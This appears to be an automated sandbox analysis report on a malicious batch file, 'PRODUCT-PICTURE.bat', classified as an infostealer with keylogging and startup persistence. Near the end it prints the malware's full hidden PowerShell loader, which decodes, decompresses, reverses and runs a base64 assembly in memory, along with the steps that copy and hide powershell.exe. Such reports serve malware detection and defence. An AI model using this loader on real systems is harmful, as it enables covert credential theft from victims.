Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000004F3D000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000004FB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, POq2Ux.cs

.Net Code: mDt2FXita0Y

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior

Reads the System eventlog

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 7.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.IV.bat.Usq.92c0790.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.IV.bat.Usq.92c0790.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: IV.bat.Usq PID: 7928, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Found large BAT file

Source: PRODUCT-PICTURE.bat

Static file information: 1512865

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E25918 NtProtectVirtualMemory,	6_2_08E25918
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E26D98 NtResumeThread,	6_2_08E26D98
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E25910 NtProtectVirtualMemory,	6_2_08E25910
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E26D90 NtResumeThread,	6_2_08E26D90
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088E6D98 NtResumeThread,	15_2_088E6D98
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088E6CC8 NtResumeThread,	15_2_088E6CC8
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088E6D90 NtResumeThread,	15_2_088E6D90

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_046ACB14	6_2_046ACB14
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_046ACB42	6_2_046ACB42
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E1C2B0	6_2_08E1C2B0
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E1F7EB	6_2_08E1F7EB
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E17F79	6_2_08E17F79
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E10040	6_2_08E10040
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E10013	6_2_08E10013
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E1D4B8	6_2_08E1D4B8
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E1C5D7	6_2_08E1C5D7
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E18FA0	6_2_08E18FA0
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E18F91	6_2_08E18F91
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E2A2B0	6_2_08E2A2B0
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E21DF8	6_2_08E21DF8
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E2A964	6_2_08E2A964
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E2A2A2	6_2_08E2A2A2
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E2A3A5	6_2_08E2A3A5
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E29C27	6_2_08E29C27
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E22E8D	6_2_08E22E8D
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E2A656	6_2_08E2A656
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E29F90	6_2_08E29F90
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08ED0040	6_2_08ED0040
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08ED0025	6_2_08ED0025
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08ED5D2A	6_2_08ED5D2A
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_0A1AEFA0	6_2_0A1AEFA0
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_0A1AE330	6_2_0A1AE330
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_0A190007	6_2_0A190007
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_0A190040	6_2_0A190040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_007C4AC0	7_2_007C4AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_007C3EA8	7_2_007C3EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_007C41F0	7_2_007C41F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_007CF8C0	7_2_007CF8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D6B4A8	7_2_05D6B4A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D66780	7_2_05D66780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D6E959	7_2_05D6E959
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D688A8	7_2_05D688A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D60040	7_2_05D60040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D63390	7_2_05D63390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D6ADC8	7_2_05D6ADC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D68FFB	7_2_05D68FFB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D65988	7_2_05D65988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_05D60007	7_2_05D60007
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_04B0CE14	15_2_04B0CE14
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_04B0CE42	15_2_04B0CE42
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088EA2B0	15_2_088EA2B0
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088EA964	15_2_088EA964
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088EA3A5	15_2_088EA3A5
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088E9C2A	15_2_088E9C2A
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088E1DF8	15_2_088E1DF8
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088EA656	15_2_088EA656
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088E9F95	15_2_088E9F95
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08F0C2B0	15_2_08F0C2B0
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08F07F79	15_2_08F07F79
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08F00040	15_2_08F00040
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08F00027	15_2_08F00027
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08F0C5D7	15_2_08F0C5D7
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08F08FA0	15_2_08F08FA0
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08F08F91	15_2_08F08F91
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08FC0040	15_2_08FC0040
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08FC0025	15_2_08FC0025
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08FC5D2A	15_2_08FC5D2A
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_0A29EFA0	15_2_0A29EFA0
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_0A29E330	15_2_0A29E330
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_0A280007	15_2_0A280007
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_0A280040	15_2_0A280040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_02924AC0	17_2_02924AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_0292CE88	17_2_0292CE88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_02923EA8	17_2_02923EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_029241F0	17_2_029241F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_0292F6D8	17_2_0292F6D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_0654B4A8	17_2_0654B4A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_065432C8	17_2_065432C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_06540040	17_2_06540040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_0654ADC8	17_2_0654ADC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_065488A8	17_2_065488A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_0654E968	17_2_0654E968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_06545998	17_2_06545998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_06549010	17_2_06549010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_0654001E	17_2_0654001E

Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1690594310.0000000002D7B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1713096094.0000000008240000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePRODUCT-PICTURE.exe@ vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1700095915.000000000668A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePRODUCT-PICTURE.exe@ vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1700095915.000000000668A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHgmnmoi.dll" vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1715722555.0000000008740000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000004C73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000000.1671793966.0000000000A64000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000905C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename46da3e76-ea11-4ef3-9ed6-348209ad609f.exe4 vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000004C11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1716569673.0000000008E30000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename46da3e76-ea11-4ef3-9ed6-348209ad609f.exe4 vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1714454860.00000000084D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameHgmnmoi.dll" vs PRODUCT-PICTURE.bat
Source: PRODUCT-PICTURE.bat.Usq.4.dr	Binary or memory string: OriginalFilenamePowerShell.EXEj% vs PRODUCT-PICTURE.bat

Source: 7.2.InstallUtil.exe.530000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.IV.bat.Usq.92c0790.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.IV.bat.Usq.92c0790.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: IV.bat.Usq PID: 7928, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 6.2.PRODUCT-PICTURE.bat.Usq.8240000.5.raw.unpack, ClassInitializerProperty.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, JgwjO5IGcWdA32KQ9V2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, JgwjO5IGcWdA32KQ9V2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, JgwjO5IGcWdA32KQ9V2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, JgwjO5IGcWdA32KQ9V2.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, ZTFEpdjP8zw.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, WnRNxU.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, 2njIk.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, I5ElxL.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.9341d50.12.raw.unpack, QQSiOsa4hPS.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winBAT@31/9@2/2

Source: C:\Windows\System32\xcopy.exe

File created: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7824:120:WilError_03

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_20dcboky.n3d.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PRODUCT-PICTURE.bat" "

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Windows\System32\chcp.com

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PRODUCT-PICTURE.bat

Virustotal: Detection: 11%

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

File read: C:\Users\user\Desktop\PRODUCT-PICTURE.bat

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PRODUCT-PICTURE.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo F "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +s +h C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' \| Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)\| Out-Null"
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs"
